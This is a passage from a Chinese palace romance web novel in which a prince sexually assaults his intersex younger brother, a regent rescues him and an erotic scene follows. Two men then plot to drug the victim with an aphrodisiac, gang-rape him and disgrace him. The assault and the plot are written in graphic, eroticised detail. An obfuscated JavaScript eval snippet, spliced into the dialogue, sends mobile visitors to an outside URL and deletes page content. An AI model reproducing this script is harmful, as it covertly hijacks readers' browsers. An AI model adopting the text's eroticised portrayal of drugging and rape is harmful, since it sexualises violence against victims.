“末将告退。”他咧了咧嘴,转身大步离去。 暖阁里只剩下云棠和楚云凌。 楚云凌蹲下身,看着云棠苍白的脸和紧闭的眼,伸手轻轻拂开他颊边凌乱的发丝。 “吓坏了吧?”他声音温和,可指尖冰凉。 “往后,离这些粗人远些,有皇兄在,会护着你的。” 他的手从云棠脸颊滑到肩头,缓缓下移,停在裹着披风的大-腿内-侧,隔着衣料轻轻画圈。 “只要你……”他指尖加重力道,“一直这么乖。” 云棠睁开眼,眼中尽是血丝。 楚云凌笑着收回手,站起身:“走吧,皇兄送你回去。” 回清莲苑的路,漫长得像没有尽头。 楚云凌坚持与云棠同乘一车。 车厢内狭小密闭,他身上的熏香气息浓烈,混杂着刚才暖阁里的硫磺味,让云棠几欲作呕。 马车颠簸,楚云凌的手“安抚性”地放在云棠膝头。 缓缓上移。 隔着厚厚的披风和湿冷的衣料,停在大-腿内-侧,不轻不重地按压,画圈。 “七弟今日受委屈了。”楚云凌温声说,仿佛真是个体贴的兄长。 “回去好生歇着,莫要多想,赵珩那边,皇兄自有计较。” 云棠咬紧牙关,身体僵硬如石,指甲深深掐进掌心。 他想起燕元明的手。 同样是触碰,燕元明的手总是干燥温暖,带着小心翼翼的珍视。 拂过他发丝时轻柔,擦过他眼泪时温柔,拥抱他时坚定有力。 从不会让他感到恶心和恐惧。 可此刻这只手…… 云棠闭上眼,将脸转向车窗,泪水无声滑落。 马车终于在清莲苑外停下。 楚云凌先下车,转身伸手欲扶云棠。 云棠避开他的手,自己踉跄着下车,脚下虚浮,几乎摔倒。 楚云凌也不恼,上前一步,替他拢了拢披风。 动作间,他俯身,嘴唇几乎贴上云棠冰凉的耳垂。 “好好休息。”他声音压得极低,带着若有似无的笑意。 “这披风留着吧,有皇兄的气息陪着,夜里能安神。” 说完,指尖极快地在云棠腰间一勾。 动作轻巧隐秘,云棠心神恍惚,毫无所觉。 楚云直起身,深深看了云棠一眼,转身上了马车。 马车轱辘声远去,消失在宫道尽头。 云棠站在原地,看着那辆马车消失的方向。 良久,发疯般开始撕扯身上的披风。 可手指颤-抖得厉害,系带怎么也解不开。 他用力扯,披风勒住脖颈,绒毛呛入口鼻,窒息感涌上。 “殿下!殿下您怎么了?”青禾闻声跑出来,见状吓了一跳,连忙帮他解开披风。 披风落地,云棠踉跄退后两步,靠在冰冷的宫墙上,剧烈喘息。 “殿下……”青禾看着他苍白的脸,红肿的眼,凌乱的衣襟,声音发颤,“您……您没事吧?” 云棠摇摇头,说不出话。 他推开青禾,踉跄着走进清莲苑,冲进内室,反手闩上门。 背靠着门板,缓缓滑坐在地。 他低头,看着自己还在发-抖的手。 恶心感翻江倒海。 他扑到铜盆边,干呕起来。 可胃里空空,什么也吐不出,只有酸水灼烧着喉咙。 眼泪再次涌出,滴进铜盆,漾开一圈圈涟漪。 不知过了多久,他才缓过气,瘫坐在地上,将脸埋入膝间,肩膀剧烈颤-抖。 无声的哭泣。 内室里没有点灯,昏暗一片。 只有窗外透进来的,惨淡的天光,勾勒出他蜷缩的轮廓。 那么小,那么单薄,像随时会碎掉。 许久,他抬起手,颤-抖着探入怀中,摸出那枚贴身戴着的羊脂玉哨。 玉质温润,带着他的体温。 他紧紧攥住,贴在唇边,仿佛这样就能汲取到一丝力量,一丝那个人的气息。 可是,不够。 远远不够。 他想要那个人的怀抱,想要那个人干燥温暖的手抚过他的发顶,想要更多…… --- 夜色渐深。 摄政王府书房内,烛火通明。 燕元明坐在书案后,手中拿着一封密报。 烛光在他脸上跳跃,勾勒出冷硬的线条。 凌墨垂手立在下方,低声禀报: “澄心园小宴,七殿下与赵珩独处东暖阁约一炷香时间……三皇子亲自送七殿下回清莲苑。” 燕元明放下密报,指尖在案上轻轻敲击。 一下,又一下。 “赵珩离宫后,去了何处?”他问,声音平静无波。 “直接回了驿馆,未去他处。”凌墨道。 “但我们的人发现,三皇子身边的心腹太监,半个时辰前悄悄去了一趟驿馆,停留约一刻钟。” 燕元明眸色一深。 “加派人手。”他站起身,走到窗边,看着窗外沉沉的夜色。 “清莲苑外围,十二时辰轮值,任何可疑之人靠近,先拿下再报,尤其是夜间。” “是。” “还有,”燕元明转身,目光落在凌墨身上,“明日一早,递牌子进宫,本王要见陛下。” 凌墨一怔:“王爷,是为了七殿下……” “有些事,”燕元明打断他,声音里透着一丝冷意,“该敲打敲打了。” 凌墨躬身:“属下明白。” 燕元明挥挥手,凌墨退下。 他走回书案边,拿起那封密报,又看了一遍。 指尖无意识摩挲着纸张。 楚云凌,赵珩…… 他闭了闭眼,再睁开时,眼底是一片深 再等等。 等他把这些碍眼的东西,一一清理干净。 15. 第 15 章 酉时三刻,日头斜斜挂在宫墙飞檐上,斑驳的朱漆宫门染成一片暗淡的橘红。 楚云棠坐在正殿的圆桌旁,对着几碟简单的菜色毫无胃口。 筷子在指尖转了又转,轻轻搁在青瓷筷枕上。 从澄心园回来已经一整日,他仍像只受惊的雀儿,稍有风吹草动便背脊紧绷。 “殿下,多少用些吧。”阿福声音里满是忧虑。 “您从昨儿晌午到现在,就喝了半碗粥,这身子怎么受得住。” 云棠勉强笑了笑,面色苍白:“我吃不下,撤了吧。” 话音未落,院门外忽然传来嘈杂的人声。 阿福脸色一变,匆匆赶出去查看,不过片刻便退回来,身后跟着三道身影。 为首的男子锦衣华服,头戴赤金发冠,正是三皇子楚云凌。 他身后跟着两个膀大腰圆的太监,一左一右将阻拦的阿福架开,动作粗鲁。 “七弟这院子,倒是清静得很。” 楚云凌迈过门槛,目光在殿内扫视一圈,落在云棠身上,唇边勾起一抹笑。 “听闻七弟昨日在澄心园受了惊,皇兄特地前来探视。” 云棠站起身,袖中的手指悄然收紧。 他今日穿了件月白色的素面锦袍,外罩一件银灰色兔绒比甲。 是最寻常不过的装束。 可即便这般素净,那张脸依旧美得惊心。 眉眼如墨画,鼻梁秀挺,唇色因为紧张而抿得发白,肌肤莹润似玉。 “皇兄安好。”云棠垂下眼睫,行了礼,“我已无大碍,不劳皇兄挂心。” 他说话时身体不自觉地后退了半步。 指尖攥住袖口,将那柔软的布料揉出细碎的褶皱。 楚云凌将他的小动作尽收眼底,笑意更深。 他挥手示意身后两个太监退到殿外,又对阿福道:“ 本皇子与七弟说几句体己话,你们也下去。” 阿福犹豫地看向云棠。 见自家殿下轻轻点头,这才忧心忡忡地退出去,将殿门虚掩上。 一时间,殿内只剩下兄弟二人。 暮色从雕花窗棂间渗进来,在地面投下长长的影子。 香炉里残存的檀香味道很淡,混着微凉的空气,竟生出几分肃杀的意味。 楚云凌踱步上前,靴底踏在青砖上发出声响。 他在距离云棠三步处停下,目光毫不避讳地在他身上逡巡。 从乌黑的发顶到纤细的脖颈,再到被衣料包裹的肩背腰肢。 “七弟脸色还是不好。”他开口,声音温和地关怀。 “昨日受惊了罢?赵珩那粗人,皇兄已训斥过他了。” 云棠仍垂着眼:“谢皇兄。” “你我兄弟,何必这般生分。” 楚云凌又走近一步,近到能看清云棠的长睫,闻到他身上淡淡的香气。 “说起来,七弟今年也该满十八了罢?” “时间过得真快,当年冷宫里那个小不点儿,竟出落得这般……” 他顿了顿,没说完,但未尽之意像黏腻的蛛网,缠绕在空气里。 云棠指尖陷进掌心,强迫自己稳住声音:“若无他事,我想休息了。” 他说着便要转身往内室走。 “急什么?”楚云凌忽然伸手,一把攥住他的手腕。 手劲很大,按在腕骨内侧最细嫩的那处皮肤上,带着薄茧的指腹暧昧地摩挲。 云棠浑身一颤,想抽回手,却被他握得更紧。 楚云凌轻笑,另一只手抚上云棠的肩头,顺着单薄的脊背缓缓下滑。 “我们兄弟,亲近些何妨?你小时候,皇兄不是还抱过你?” 那手隔着衣料,带着滚烫的温度,一寸寸掠过蝴蝶骨,停在腰际。 云棠的呼吸乱了。 他猛地用力抽手,这一次楚云凌竟松了力道。 他踉跄后退两步,背脊抵上冰冷的殿柱,声音里压不住颤抖:“皇兄请回!” 楚云凌脸上的笑意瞬间褪去。 他盯着云棠,目光像毒蛇的信子,冰冷黏腻。 暮色在他眼底沉淀成浓稠的暗色,混着翻涌的,毫不掩饰的欲念。 “敬酒不吃吃罚酒。”他轻声说,每个字都像从齿缝里挤出来。 话音未落,他骤然上前! 云棠甚至没看清他的动作,只觉得一股大力袭来。 天旋地转间已被他从背后死死抱住。 楚云凌一手铁箍般环住他的腰,另一只手死死捂住他的嘴。 将他整个人拖向殿内那张紫檀木书案。 “昨日让那莽夫占了先,今日……” 楚云凌贴着他耳廓,灼热的气息喷在敏感的肌肤上,声音低哑得可怕。 “该轮到皇兄尝尝滋味了。” 后腰撞上坚硬的案缘时,云棠痛得闷哼一声。 他被面朝下压趴在书案上,上半身悬空,腰腹被木缘硌得生疼。 楚云凌用整个身体的重量压制着他,膝盖…… 让他以一个屈辱的姿势,无法合拢。 “唔!” 云棠拼命挣扎,双脚向后踢蹬,双手胡乱地抓挠身后的人。 可力量的悬殊太大。 他的反抗就像困兽最后的扑腾,除了让施暴者更加兴奋外,毫无用处。 楚云凌喘着粗气,一只手仍死死捂着云棠的嘴,另一只手开始撕扯他的衣裳。 “嘶啦——” 锦袍裂帛。 月白色的外袍从肩头被粗暴地撕开,一直扯到腰际。 素白的绸料滑落,大片背脊暴露在昏黄的暮色里。 那是一片象牙般润泽的肌肤,因恐惧和突如其来的寒意泛起细小的颗粒。 肩胛骨随着挣扎微微耸起,脆弱得仿佛一折即断。 楚云凌的呼吸陡然加重。 他低头,嘴唇贴上那截裸露的后颈,湿热的触感让云棠浑身剧颤。 叼住薄薄的皮肉,不轻不重地研磨,留下湿漉漉的红痕,一路蔓延到肩头。 “真嫩……” 楚云凌的声音兴奋得发颤,混着粗重的喘息。 “难怪摄政王当宝贝藏着,这般身子,谁看了不惦记?” 他的手探进……向下摸索。 云棠的呜咽被死死捂在掌心,眼泪汹涌而出,浸湿了楚云凌的手指。 绝望像冰水漫过头顶,他睁大眼睛,视线模糊地望着殿门的方向。 那里虚掩着一条缝,透进外面最后一点天光。 为什么没有人来? 阿福呢?青禾呢?那些偶尔在苑外巡视的侍卫呢? “你说,”楚云凌的声音贴着耳廓,带着恶意的笑。 “要是燕元明知道,你浑身都留下了我的痕迹,会不会嫌你脏?” 话音落下的瞬间…… 云棠的瞳孔骤然收缩。 楚云凌原本的动作猛地一顿。 他脸上的表情从兴奋转为错愕,而是更深的探究。 与他预期的构造截然不同。 “这是……” 楚云凌喃喃自语,又往里探了探。 这一次他确认了。 不是错觉。 他猛地往下扯,借着窗外最后的余光,急切地朝那处看去。 整个人僵在原地。 片刻的死寂。 随即,楚云凌爆发出狂笑。 “哈……哈哈哈!” 他的笑声扭曲而癫狂,在空旷的殿内回荡。 “楚云棠,你竟是个不男不女的怪物……” 他兴奋得双眼发红,呼吸急促。 “你这身子,果然天生就是……” 云棠如遭雷击。 巨大的羞耻和绝望让他瞬间脱力,连挣扎的力气都消失了。 这生理反应让他恨不得立刻死去。 他死死咬住下唇,血腥味在口腔里弥漫开来。 眼泪无声地滑落,一滴,两滴,砸在冰冷的紫檀木案面上。 楚云凌激动得面色潮红,胡乱去解自己的腰带,金属扣环碰撞发出叮当声响: “妙极了,本皇子还没玩过这样的,今日定要好好尝尝!” 腰带松开,衣袍散乱。 楚云凌短暂松手,捂嘴的力道稍松。 云棠猛地向后仰头,后脑狠狠撞中他的鼻梁。 “呃啊!” 楚云凌痛呼出声,下意识松手去捂血流如注的鼻子。 云棠趁机挣脱,踉跄着扑向殿门。 被扯坏的衣裳滑落,他几乎是半裸着,白皙的肌肤上布满红痕和淤青。 眼泪模糊了视线,但他还是颤抖着从袖中掏出玉哨。 那是燕元明给他的。 “若有事,吹响它,无论我在哪里,都会赶来。” 云棠将玉哨塞进口中,用尽全身的力气吹响。 尖利清越的哨音,撕裂了清莲苑暮色的宁静,穿透殿宇,传向远方。 哨音响起的刹那,楚云凌脸色骤变。 他顾不得鼻血横流,发狠般朝云棠扑来:“贱人!你还敢——” 话音未落,殿门被一股巨力从外猛地踹开! “轰!” 厚重的楠木门板撞在墙上,发出沉闷的巨响。 木屑飞溅间,一道玄色身影如疾风闪电般掠入殿内。 楚燕元明面如寒冰,周身杀气几乎凝成实质。 他本是因担心云棠,处理完政务后便朝清莲苑来,已行至宫门外。 那声玉哨响起的瞬间,他心脏骤缩,想也未想,急忙赶过来。 看见了殿内的景象。 云棠衣衫破碎,泪痕满面,狼狈不堪地扑向门口。 裸露的肌肤上布满触目惊心的红痕。 而楚云凌正提着裤子,面容扭曲地欲追,鼻血糊了半张脸,形容猥琐不堪。 燕元明的眼底瞬间卷起风暴。 那风暴是淬了冰的怒火,是碾碎一切的杀意,是心疼。 他一把将云棠接住。 在云棠踉跄跌倒前,那具冰凉颤抖的身体已被稳稳揽入怀中。 他扯下外袍,将云棠从头到脚严严实实裹住,手臂收拢,完全护在怀里。 怀中人在剧烈发抖,像是被折断了翅膀的鸟,连呜咽都发不出来。 心脏像是被钝刀反复切割。 燕元明闭了闭眼,再睁开时,眸中只剩森寒的戾气。 他转身。 楚云凌这时才从震惊中回神,对上燕元明的目光,脸色瞬间惨白如纸: “王爷,这是个误会,我——” 没有任何废话。 燕元明一脚狠狠踹在他胸口。 “砰——咔嚓!” 清脆的骨裂声。 楚云凌甚至没来得及说完,整个人倒飞出去,重重撞翻殿角的紫檀木香案。 香炉,烛台哗啦散落一地。 他在满地狼藉里 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他收紧手臂,将怀中仍在颤抖的人更稳地抱住,转身大步走出殿门。 马车轱辘碾过宫道的青石板,发出规律的声响。 车厢内铺着厚厚的绒毯,四角悬着夜明珠,温暖明亮。 燕元明靠着车壁。 云棠蜷在他怀里,身上裹着那件玄黑外袍,只露出一张哭得红肿的脸。 车帘隔绝了外界的一切,只剩下彼此交缠的呼吸声。 云棠的颤抖渐渐平息下来,手指仍死死揪着燕元明的衣襟。 他将脸埋在对方颈窝。 鼻尖萦绕着熟悉的松雪气息,这味道让他紧绷的神经一点点松弛。 “王爷……” 他开口,声音沙哑得厉害,带着浓重的鼻音,“别去王府……回清莲苑吧。” 燕元明低头看他。 云棠从他怀里抬起脸,眼眶通红,长睫被泪水浸得湿漉漉,像淋了雨的蝶翼。 他咬着下唇,小声说:“会给你惹麻烦的……” “若是被人知道,你为了我伤了三皇兄……那些言官,还有太后……” 他说不下去了,眼里又浮起水光。 燕元明的手臂收得更紧。 他低下头,额头轻轻抵住云棠的,声音低沉: “清莲苑已不安全,从今日起,你住王府。” “可是——” “没有可是。” 燕元明打断他,抚过他红肿的脸颊,动作轻柔,与方才殿内的煞神判若两人。 “本王最不怕的,就是麻烦。” 他低笑一声,看向云棠时眼神无尽温柔: 云棠怔怔望着他。 车厢内,明珠的光晕落在燕元明脸上,勾勒出深邃的眉眼,挺直的鼻梁。 还有那双此刻盛满自己倒影的眼睛。 像是终于确认了什么,云棠慢慢放松下来。 他将脸重新埋回燕元明颈窝,很小声地“嗯”了一声。 马车驶入王府时,天色已完全黑透。 凌墨早已提前回府安排,此刻院中灯火通明,却不见半个闲杂下人。 燕元明抱着云棠下了马车。 径直走进寝殿,将人轻轻放在铺着厚厚绒毯的床榻上。 殿内温暖如春。 四角的铜兽炭盆烧着银丝炭,空气里浮动着淡淡的安神香。 床榻宽大,挂着深青色锦帐,被褥是上好的云缎,触手柔软。 云棠裹着燕元明的外袍坐在床沿。 他有些无措地环视四周。 这里的一切都带着燕元明的气息,因为他的存在而莫名让人安心。 燕元明屏退了最后两个伺候的侍女。 殿门轻轻合上,偌大的空间里只剩下他们两人。 他走到床前,单膝跪了下来。 这个姿态让云棠吓了一跳,下意识想往后缩,被燕元明轻轻按住膝盖。 “别动。”燕元明仰头看他,目光沉静而专注,“让我看看。” 他从怀中取出一方干净的素帕。 在旁边的铜盆里浸了温水拧干,极轻极缓地擦拭云棠脸上的泪痕。 从额头到眉眼,从鼻梁到脸颊,最后停在那破损的嘴角。 帕子温热,动作温柔。 云棠安静地坐着,长睫低垂,在眼下投出浅浅的阴影。 他任由燕元明动作,目光落在对方脸上。 从锋利的眉骨到紧抿的唇线,一遍又一遍,像是要确认这不是梦境。 擦完了脸,燕元明又托起他的手腕。 那里有一圈明显的青紫,是指痕。 温热的帕子敷上去,指尖极轻地按摩周围的肌肤,将淤血一点点化开。 整个过程漫长而安静。 殿内只有炭火偶尔噼啪的声响,以及彼此交织的呼吸。 不知过了多久,燕元明终于放下帕子。 他仍旧跪在床前,仰头看着云棠。 而云棠也垂眸望着他,眼眶又慢慢红了。 “王爷……”云棠开口,声音轻得像羽毛,“可以亲我一下吗?” 燕元明怔了怔。 云棠咬着下唇,眼里水光潋滟,带着小心翼翼的祈求: “亲一下……就不难过了。” 16. 第 16 章 这句话说得极轻,像一根羽毛,搔过燕元明心底最柔软的地方。 所有未散的暴戾怒火,所有翻涌的后怕心疼,在这一刻统统化为汹涌的怜惜。 他抬手捧住云棠的脸,低头吻了上去。 起初是极轻的触碰,双唇相贴,温热柔软。 他含-住云棠的下-唇,舌尖舔过那处破损,动作轻柔,安抚伤口。 血腥味在唇齿间弥漫开,他却吻得更深,耐心地一点点描摹唇形,舔舐齿列。 像是要通过这个吻将所有的恐惧和污-秽都驱散。 云棠呜咽一声,手臂环上他的脖颈。 这个回应让燕元明的呼吸陡然加重。 他揽住云棠的腰,将人往怀里带,吻变得深-入而炽烈。 不再是单纯的安抚,而是掺杂了压抑许久的渴望。 云棠被他吻得浑身发软,仰着头承受,长睫颤得厉害。 泪水从眼角滑落,混进这个咸涩而温柔的吻里。 不知吻了多久,燕元明才稍稍退开。 两人额头相抵,呼吸交缠。 云棠的嘴唇被吻得红肿水润,泛着诱-人的光泽。 眼里迷蒙着一层水雾,整张脸绯-红一片。 “还难过吗?”燕元明低声问,摩挲着他的脸颊。 云棠摇摇头,又点点头,最后将脸埋进他肩头,很小声地说:“还有一点……” 燕元明低笑,胸腔震动。 他抱着云棠站起身,自己坐在床沿,将人放在腿上,像抱孩子一样圈在怀里。 云棠身上那件早已破碎不堪的衣裳,在这个过程中终于滑落下来。 月白色的布料堆在腰间,露出大片肌肤。 烛光明亮,将每一寸都照得清晰。 纤细的锁骨,单薄的胸膛。 …… 腰肢细得不盈一握,肌肤上还残留着淡淡的红痕。 有些是今日新添的,有些是昨日在澄心园留下的。 燕元明的目光沉了沉。 他伸手,掌心贴上云棠的后腰,沿着脊骨缓缓上移。 那触感温热细腻,像上好的羊脂玉,又带着活生生的柔软。 他的手指抚过那些红痕,在淤青处极轻地按压揉散。 “疼吗?”他问。 云棠趴在他肩上,摇了摇头,又点点头,最后闷声说:“你揉就不疼。” 燕元明又笑,笑声低低的,震得云棠耳廓发麻。 他的手继续下滑,托住。 在掌心显出饱满柔软的弧度。 他用了些力道揉按,帮助化瘀,动作却逐渐变了意味。 云棠的身体轻颤起来。 他攀着燕元明的肩膀,将脸埋得更深,耳根红得滴血。 身体涌起…… “王爷……”他发出小猫似的呜咽。 燕元明吻了吻他的耳垂,声音低哑得撩-人:“我看看……那日的伤好了没?” 云棠浑身僵硬了一瞬,随即又软下来。 他咬着唇,睫毛颤得厉害,却没有抗拒,反而…… 这个默许的姿态让燕元明的眸光骤然暗沉。 他托着,将人稍稍抬起,低头看去。 烛光下,那片肌肤白皙如玉,泛着淡淡的粉色。 …… 燕元明的呼吸粗重了几分。 他用指尖轻轻划过,掌下的身体猛地一颤。 云棠将脸死死埋在他肩头,连脖颈都红透了,却还是顺从地保持着姿势。 “好、好了……”云棠的声音带着哭腔,不知是羞还是怕。 燕元明没有继续。 他重新将人搂进怀里,吻了吻他汗湿的额发,低声说:“嗯,快好了。” 云棠松了口气,又莫名有些失落。 他蜷在燕元明怀里,脸颊贴着对方坚实的胸膛,听着那沉稳有力的心跳。 安全感像温水流遍四肢。 那些恐惧、屈辱、羞-耻,在这个怀抱里一点点被熨平。 然后他想起了什么。 身体又僵硬起来。 燕元明察觉到了,低头看他:“怎么了?” 云棠咬着唇,眼眶又红了。 他抬起头,望着燕元明深邃的眼睛。 那里有他熟悉的温柔,有未散的情-欲,还有全然的信任。 他想说。 他必须说。 这个秘密像一根刺,扎在他心里太久了。 如果今日不是被楚云凌发现,或许还能继续隐瞒下去。 可现在…… 他不能再瞒着燕元明。 “王爷……”云棠开口,声音抖得厉害,“我……我有事要告诉你。” 燕元明静静看着他,等待下文。 云棠深吸一口气,像是用尽了毕生的勇气。 他拉着燕元明的手,引向……声音轻如蚊蚋: “我的身体……和旁人不一样。” 他的指尖颤-抖着,带着燕元明的手。 “你……你摸-摸看……” 话音未落—— “王爷!边关加急军报!” 凌墨焦急又克制的声音在门外响起,如惊雷炸开。 “北狄异动,守将发来求援急报,需您即刻定夺!” 燕元明的动作骤然僵住。 眼底翻涌的情-欲和疑惑,被这突如其来的军情强行压下。 他闭了闭眼,再睁开时已恢复清明,带着些许压抑的烦躁和无奈。 云棠的手还僵在半空,保持着引导的姿态。 他看着燕元明,眼中的光芒一点点黯淡下去,涌上巨大的失落和恐慌。 方才鼓起的勇气像被戳破的气球,瞬间消散无踪。 燕元明深吸一口气,为云棠拉好被子,将他严严实实裹住。 他俯身,在云棠额头印下一个郑重而歉意的吻,声音沙哑: “等我,很快回来。” 说完,他整理好衣袍,转身大步离去。 殿门开了又合。 云棠蜷缩在残留着燕元明气息的被褥里,手还保持着方才的姿势。 他望着紧闭的房门,听着门外远去的脚步声,叹了口气。 秘密…… 还是没有说出口。 三皇子寝宫,夜已深沉。 殿内只点了一盏昏黄的油灯。 灯芯噼啪作响,将影子投在墙壁上,扭曲成怪异的形状。 空气里弥漫着浓重的药味,混着若有似无的血腥气。 楚云凌躺在床榻上,胸口缠着厚厚的绷带,脸色惨白如纸。 太医来看过,断了两根肋骨,内腑受震,需静养数月。 燕元明那一脚,是存了让他半死不活的心思。 殿门忽然被轻轻推开。 一道高大的身影闪身进来,反手将门闩上。 来人穿着寻常侍卫服色,但那张脸,浓眉虎目,颧骨高耸,正是赵珩。 “三殿下这伤,可不轻啊。” 赵珩走到床前,扯了把椅子坐下。 语气里听不出多少同情,反倒带着几分玩味。 楚云凌睁开眼,眼中布满血丝。 他盯着赵珩,咧嘴笑了,笑容因为疼痛而扭曲,透着诡异的兴奋。 “本皇子得到那妙物,今日之辱必百倍奉还!” “妙物?”赵珩在床边椅上坐下,双腿叉开,姿态粗野。 他舔了舔嘴唇,眼中闪过毫不掩饰的淫邪。 “殿下说的,可是七皇子那副与众不同的身子?” 两人目光在昏黄光线下相撞,肮脏的欲-望如毒藤般缠绕滋生。 楚云凌咧开嘴:“看来赵将军那日潜入清莲苑,倒是看得真切。” “何止看得真切。” 赵珩身体前倾,压低声音,每个字都裹着黏腻的欲念。 “那日……啧啧,那腰,那臀……本将当时就想,这般身段,若是压-在身下。” 他顿了顿,喉结滚动,呼吸都粗重了几分。 楚云凌眼中爆发出狂热的光,接话道: “若是压-在身下,就会发现那两腿之间,竟藏着另一番天地。” 他边说边用手比划,动作下流。 “本皇子今日亲手摸到了,又软又湿,还是热的……” “那贱种被摸得有了反应,水都流出来了。” “哈!”赵珩低笑出声,手掌在膝盖上搓了搓,仿佛在回忆触感。 “我早看出不对,那屁-股生得比女人还好,腰细得一把能掐断,走路时……” “罢了,说这些无用。” 他眼神骤然阴沉:“燕元明可知道?” 楚云凌嗤笑,牵扯伤口又疼得龇牙,“看他那宝贝样,定是还不知道。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261351|198040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这等秘密,那贱种怎么敢说?” 赵珩眯起眼:“那正好,他不知道,我们才更有机会。” 两人陷入短暂的沉默,只有油灯噼啪作响。 半晌,楚云凌撑起半边身子,声音压得更低,像毒蛇吐信: “寿宴那日,按原计划动手,本皇子已安排妥当,会在他的酒里下醉仙欢。” “那药你是知道的,便是贞洁烈女也得化成荡-妇,何况一个本就……” 他没说完,但未尽之意昭然若揭。 赵珩眼中精-光一闪:“醉仙欢?好主意。” “等药性发作,人迷迷糊糊,我们再将他带到偏殿,到时候……” 他舔了舔发干的嘴唇,“他那身子会变成什么样,殿下可想过?” 楚云凌呼吸急促起来,仿佛已经看到那画面: “自然想过,浑身发烫,皮肤泛红,那处会湿得一塌糊涂,求着人要。” “到时候本皇子先来,好好尝尝这妙物的头汤,等他被玩得神志不清了,赵将军再……” “然后呢?”赵珩追问,眼中闪着野兽般的光。 “然后?” 楚云凌阴笑,“自然是让这贱种认清自己是什么东西。” “等我们玩够了,再不小心让人撞见,七皇子在太后寿宴上与人苟且,还是个不男不女的怪物。” “到时候,别说燕元明,便是父皇也保不住他!” 赵珩抚掌,声音里满是兴奋: “妙!到那时,这妙物便是我们的掌中玩物。” “一个身败名裂的皇子,谁还会在乎?养在私宅里,想怎么玩就怎么玩……” 两人对视,同时发出低哑而猥-琐的笑声。 笑声在寝殿里回荡。 混着楚云凌压抑的咳嗽,像阴暗角落里滋生的霉斑,散发着腐朽的气息。 “不过,”赵珩忽然正色。 “燕元明今日能为了他踹断你肋骨,若真事发,恐怕不会善罢甘休。” 楚云凌冷哼一声,眼中怨毒几乎要溢出来: “那又如何?等那贱种身败名裂,成了个人人可欺的怪物,燕元明难道还会为了个玩物跟本皇子翻脸?他可是摄政王,要脸面。” 他顿了顿,又道:“况且,到时候证据确凿,是他自己淫-乱失德,燕元明若执意护着,正好连他一起拖下水。” “摄政王私藏畸宠,祸乱宫闱,这罪名够他喝一壶。” 赵珩若有所思地点头,咧嘴笑道:“说起来,我倒想看看,等楚燕元明发现他宝贝了这么多年的人,不但是个怪物,还在我们身下承欢时,会是什么表情。” “定然精彩。”楚云凌附和,眼中满是报复的快意。 油灯的火苗又跳了一下,将两人扭曲的影子投在墙上,膨胀摇晃,像是随时要扑出墙壁的恶鬼。 “对了,”楚云凌忽然想起,“那日-你派人盯梢,可发现燕元明将人带去了哪里?” 赵珩脸色沉了沉:“带回王府了,守卫比之前森严数倍,我的人不敢靠太近。” “无妨。”楚云凌摆摆手,胸有成竹,“寿宴那日,他总要进宫。” “只要那贱种离开王府,我们就有机会,醉仙欢的药效有三个时辰,足够我们……” 他没说完,但两人心照不宣。 肮脏的交易在夜色中达成。 赵珩起身,重新披上侍卫外袍。 走到门口时,他回头看了楚云凌一眼,露出一个意味深长的笑: “殿下好好养伤,等寿宴那日,可有的是力气要费。” 楚云凌回以同样下流的笑容。 门开了又合。 寝殿重归寂静,只有楚云凌粗重的呼吸和油灯燃烧的细微声响。 他躺回枕上,盯着帐顶繁复的绣纹,脑海中却全是今日在清莲苑的画面。 那具白皙的身体在书案上挣扎,肌肤细腻的触感,还有指尖感受到的温热与湿润…… 他舔了舔干裂的嘴唇,手缓缓探入锦被之下。 夜色还长。 而此刻的王府中,云棠在睡梦中不安地蹙眉,仿佛感应到了遥远之处那污-秽的注视。 他蜷缩着,将脸更深地埋进燕元明的外袍。 在松雪气息的包裹中,寻求着一丝脆弱的安全感。 黎明将至。 暗处的蛛网,已经悄然织就。 17. 第 17 章 细碎的雪籽扑簌簌落在归阙居的黛瓦上,积起薄薄一层。 殿内地龙烧得正旺,暖意裹着安神香的淡雅气息,在垂落的深青色锦帐间缓缓流淌。 云棠睫毛颤了颤,缓缓睁开眼。 燕元明还未醒,闭着眼,平日里锋利的眉眼在睡梦中柔和许多。 云棠怔怔地看着,一时竟有些恍惚。 昨日的一切,像一场惊心动魄的噩梦。 可此刻,他确确实实躺在这个人的怀里,睡在他的寝殿,盖着他的锦被。 这不是梦。 云棠心底涌起一股酸涩,滚烫的情绪。 他轻轻动了动,想稍微拉开些距离,好看得更清楚。 腰间的手臂却骤然收紧了。 燕元明的嗓音沙哑,眼睛仍未睁开,将脸埋进他发间深深吸了口气,“还早。” 云棠僵住,随即整张脸以肉眼可见的速度泛红。 他的所有小动作,对方都一清二楚。 “王爷……”他小声唤道,声音软糯。 “嗯。”燕元明终于睁开眼,眸中已是一片清明,哪里还有半分睡意。 他撑起半边身子,垂眸看向怀里的云棠,目光在他泛红的脸颊上停留片刻。 忽然低头,在他额间落下一个温热的吻。 很轻的一个吻,像羽毛拂过。 “睡得可好?”他问,手指自然而然地抚上云棠的手腕。 那里还残留着昨日楚云凌攥出的青紫。 指腹轻轻摩挲着淤痕边缘,带着温热的安抚意味,“身上还难受么?” 云棠摇头,声音细细的:“不难受了。” 是真的不难受了。 那些恐惧、羞-耻、寒意,在这个怀抱里都被熨帖得平整。 他感觉到燕元明掌心传来的温度,一点一点渗进肌肤。 燕元明仔细打量他的脸色,见那苍白褪-去大半,颊边浮着浅浅的粉,这才稍稍放心。 他又低头,吻落在云棠微肿的眼睑上。 “眼睛还有些肿。”他的唇贴着那处薄薄的肌肤,声音低柔,“待会儿用冷帕子敷一敷。” 云棠被这细腻的关怀弄得心头一颤,长睫轻扫过燕元明的唇-瓣。 他抬起眼,正对上燕元明深邃的目光。 鬼使神差地,云棠仰起脸,将自己的唇轻轻贴上了燕元明的嘴角。 那是一个极轻极快的触碰,一触即分,让两个人都怔住了。 云棠反应过来自己做了什么,整张脸顿时红得滴血,慌忙想往后缩,却被燕元明扣住了后脑。 “躲什么?”燕元明低笑,眼底漾开温柔的笑意,“亲了就跑?” 话音未落,他已低头吻了下来。 温柔而缠绵。 